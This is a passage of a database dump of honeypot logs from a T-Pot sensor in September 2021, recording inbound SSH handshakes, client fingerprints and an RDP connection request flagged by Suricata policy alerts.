"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28394	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:21.820181+03	2021-09-20 14:30:02.774524+03	{"_id": "IwbsAnwBvYTbRNuEvy56", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 354974445933765, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56262, "dest_port": 22, "timestamp": "2021-09-20T11:17:21.820181Z", "@timestamp": "2021-09-20T11:17:21.820Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28395	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:21.820468+03	2021-09-20 14:30:02.775554+03	{"_id": "JAbsAnwBvYTbRNuEwC7A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56262, "timestamp": "2021-09-20T11:17:21.820468", "@timestamp": "2021-09-20T11:17:21.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28396	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:21.89138+03	2021-09-20 14:30:02.776553+03	{"_id": "JQbsAnwBvYTbRNuEwS6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "10be4db3b3f4", "@version": "1", "timestamp": "2021-09-20T11:17:21.891380Z", "@timestamp": "2021-09-20T11:17:21.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28397	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:29.632475+03	2021-09-20 14:30:02.778524+03	{"_id": "TQbsAnwBvYTbRNuE3C74", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60828 (192.168.176.2:22) [session: 4f20e49f9096]", "session": "4f20e49f9096", "@version": "1", "protocol": "ssh", "src_port": 60828, "dest_port": 22, "timestamp": "2021-09-20T11:17:29.632475Z", "@timestamp": "2021-09-20T11:17:29.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28398	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:29.635305+03	2021-09-20 14:30:02.779523+03	{"_id": "TwbsAnwBvYTbRNuE3C74", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4f20e49f9096", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:29.635305Z", "@timestamp": "2021-09-20T11:17:29.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28399	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:17:29.997082+03	2021-09-20 14:30:02.780554+03	{"_id": "UQbsAnwBvYTbRNuE3i6_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1348688144883464, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58446, "timestamp": "2021-09-20T11:17:29.997082Z", "@timestamp": "2021-09-20T11:17:29.997Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28400	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:17:29.906304+03	2021-09-20 14:30:02.782524+03	{"_id": "UgbsAnwBvYTbRNuE3y4X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1348688144883464, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58446, "dest_port": 3389, "timestamp": "2021-09-20T11:17:29.906304Z", "@timestamp": "2021-09-20T11:17:29.906Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28401	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:17:29.906304+03	2021-09-20 14:30:02.783553+03	{"_id": "VAbsAnwBvYTbRNuE3y4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1348688144883464, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58446, "dest_port": 3389, "timestamp": "2021-09-20T11:17:29.906304Z", "@timestamp": "2021-09-20T11:17:29.906Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28402	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:17:29.906304+03	2021-09-20 14:30:02.785554+03	{"_id": "VQbsAnwBvYTbRNuE4C4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58446, "dest_port": 3389, "timestamp": "2021-09-20T11:17:29.906304", "@timestamp": "2021-09-20T11:17:29.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28418	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:40.844974+03	2021-09-20 14:30:02.805556+03	{"_id": "kAbtAnwBvYTbRNuEBy76", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2feb97ee9362", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:40.844974Z", "@timestamp": "2021-09-20T11:17:40.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28403	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:30.725992+03	2021-09-20 14:30:02.786554+03	{"_id": "WQbsAnwBvYTbRNuE4C7j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4f20e49f9096", "@version": "1", "timestamp": "2021-09-20T11:17:30.725992Z", "@timestamp": "2021-09-20T11:17:30.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28404	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:31.273556+03	2021-09-20 14:30:02.788553+03	{"_id": "YAbsAnwBvYTbRNuE4i6o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 281292135072695, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:17:31.273556Z", "@timestamp": "2021-09-20T11:17:31.273Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28405	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:31.048168+03	2021-09-20 14:30:02.789556+03	{"_id": "ZwbsAnwBvYTbRNuE5C7L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7eaf013a0b85", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:31.048168Z", "@timestamp": "2021-09-20T11:17:31.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28406	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:33.562459+03	2021-09-20 14:30:02.790554+03	{"_id": "bAbsAnwBvYTbRNuE7C6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4f20e49f9096", "@version": "1", "duration": 3.92738676071167, "timestamp": "2021-09-20T11:17:33.562459Z", "@timestamp": "2021-09-20T11:17:33.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28407	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:17:27.934634+03	2021-09-20 14:30:02.791553+03	{"_id": "QAbsAnwBvYTbRNuE2C4z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": 